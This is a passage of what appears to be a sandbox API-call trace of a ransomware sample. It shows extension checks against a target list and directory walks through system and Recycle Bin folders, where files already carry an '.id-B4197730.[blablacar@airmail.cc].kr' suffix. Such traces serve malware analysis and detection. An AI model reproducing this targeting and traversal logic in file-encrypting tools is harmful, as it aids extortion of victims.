(lpString=".oft") returned 4 [0174.629] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".one") returned 4 [0174.629] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".onepkg") returned 7 [0174.630] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0174.630] lstrlenW (lpString=".onetoc2") returned 8 [0174.630] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0174.630] lstrlenW (lpString=".opt") returned 4 [0174.630] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".oqy") returned 4 [0174.630] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".orf") returned 4 [0174.630] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".p12") returned 4 [0174.630] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".p7b") returned 4 [0174.630] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".p7c") returned 4 [0174.630] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pam") returned 4 [0174.630] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pbm") returned 4 [0174.630] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pct") returned 4 [0174.630] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pcx") returned 4 [0174.630] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pdd") returned 4 [0174.630] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pdf") returned 4 [0174.630] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pdp") returned 4 [0174.630] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pef") returned 4 [0174.630] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pem") returned 4 [0174.630] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pff") returned 4 [0174.630] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0174.630] lstrlenW (lpString=".pfm") returned 4 [0174.631] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0174.631] lstrlenW (lpString=".pfx") returned 4 [0174.631] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0174.631] lstrlenW (lpString=".pgm") returned 4 [0174.631] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0174.631] lstrlenW (lpString=".php") returned 4 [0174.631] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0174.631] lstrlenW (lpString=".php3") returned 5 [0174.631] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0174.631] lstrlenW (lpString=".php4") returned 5 [0174.631] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0174.631] lstrlenW (lpString=".php5") returned 5 [0174.631] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0174.631] lstrlenW (lpString=".phtml") returned 6 [0174.631] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0174.631] lstrlenW (lpString=".pict") returned 5 [0174.631] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0174.631] lstrlenW (lpString=".pl") returned 3 [0174.631] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0174.631] lstrlenW (lpString=".pls") returned 4 [0174.631] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0174.631] lstrlenW (lpString=".pm") returned 3 [0174.631] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0174.631] lstrlenW (lpString=".png") returned 4 [0174.631] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0174.631] lstrlenW (lpString=".pnm") returned 4 [0174.631] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0174.631] lstrlenW (lpString=".pot") returned 4 [0174.631] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0174.631] lstrlenW (lpString=".potm") returned 5 [0174.631] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0174.631] lstrlenW (lpString=".potx") returned 5 [0174.631] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0174.631] lstrlenW (lpString=".ppa") returned 4 [0174.631] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".ppam") returned 5 [0174.632] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0174.632] lstrlenW (lpString=".ppm") returned 4 [0174.632] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".pps") returned 4 [0174.632] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".ppsm") returned 5 [0174.632] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0174.632] lstrlenW (lpString=".ppt") returned 4 [0174.632] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".pptm") returned 5 [0174.632] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0174.632] lstrlenW (lpString=".pptx") returned 5 [0174.632] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0174.632] lstrlenW (lpString=".prn") returned 4 [0174.632] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".ps") returned 3 [0174.632] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0174.632] lstrlenW (lpString=".psb") returned 4 [0174.632] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".psd") returned 4 [0174.632] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".pst") returned 4 [0174.632] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".ptx") returned 4 [0174.632] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".pub") returned 4 [0174.632] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0174.632] lstrlenW (lpString=".pwm") returned 4 [0174.632] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0174.632] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc285767e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc285767e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc28a386a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="OOBE_2~1.KR")) returned 1 [0174.632] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc287267d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc287267d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc290f51f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARTNE~1.KR")) returned 1 [0174.633] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc287267d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc287267d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc290f51f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARTNE~1.KR")) returned 0 [0174.633] FindClose (in: hFindFile=0x43a340 | out: hFindFile=0x43a340) returned 1 [0174.633] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.633] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0174.634] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.634] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a340 [0174.635] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.636] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40bc6db, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc40bc6db, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4108bf4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="GETCUR~2.KR")) returned 1 [0174.636] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2dcf9c0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="GETCUR~1.KR")) returned 1 [0174.636] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc42ac57f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc42ac57f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc487c046, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARTNE~1.KR")) returned 1 [0174.636] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc423aef1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc423aef1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc428638c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PREOOB~1.KR")) returned 1 [0174.636] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc41d101a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41d101a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPC~1.KR")) returned 1 [0174.636] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc41d101a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41d101a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPC~1.KR")) returned 0 [0174.636] FindClose (in: hFindFile=0x43a340 | out: hFindFile=0x43a340) returned 1 [0174.637] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.637] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0174.637] FindClose (in: hFindFile=0x43a300 | out: hFindFile=0x43a300) returned 1 [0174.637] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0174.637] FindNextFileW (in: hFindFile=0x43a2c0, lpFindFileData=0x34ffcf8 | out: lpFindFileData=0x34ffcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0174.637] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cb0078 [0174.637] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x43a300 [0174.638] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0174.638] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc2e1be50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0174.638] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.638] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="壨H\x08")) returned 0xffffffff [0174.639] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.639] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b78545, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0174.639] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.639] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b78545, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a340 [0174.639] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b78545, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.639] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf2b78545, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b7ac25, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0174.639] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2b937ae, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 1 [0174.639] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2b937ae, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 0 [0174.639] FindClose (in: hFindFile=0x43a340 | out: hFindFile=0x43a340) returned 1 [0174.639] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.639] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b78545, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0174.639] FindClose (in: hFindFile=0x43a300 | out: hFindFile=0x43a300) returned 1 [0174.639] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0174.640] FindNextFileW (in: hFindFile=0x43a2c0, lpFindFileData=0x34ffcf8 | out: lpFindFileData=0x34ffcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0174.641] FindNextFileW (in: hFindFile=0x43a2c0, lpFindFileData=0x34ffcf8 | out: lpFindFileData=0x34ffcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcc2a9d29, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcc2a9d29, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0174.641] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0174.641] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1 [0174.641] lstrlenW (lpString="588bce7c90097ed212") returned 18 [0174.641] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1 [0174.641] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cb0078 [0174.641] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0174.641] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcc2a9d29, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcc2a9d29, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x43a300 [0174.644] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcc2a9d29, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcc2a9d29, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0174.644] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0174.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0174.644] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0174.645] lstrlenW (lpString="1025") returned 4 [0174.645] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0174.645] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0174.645] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, 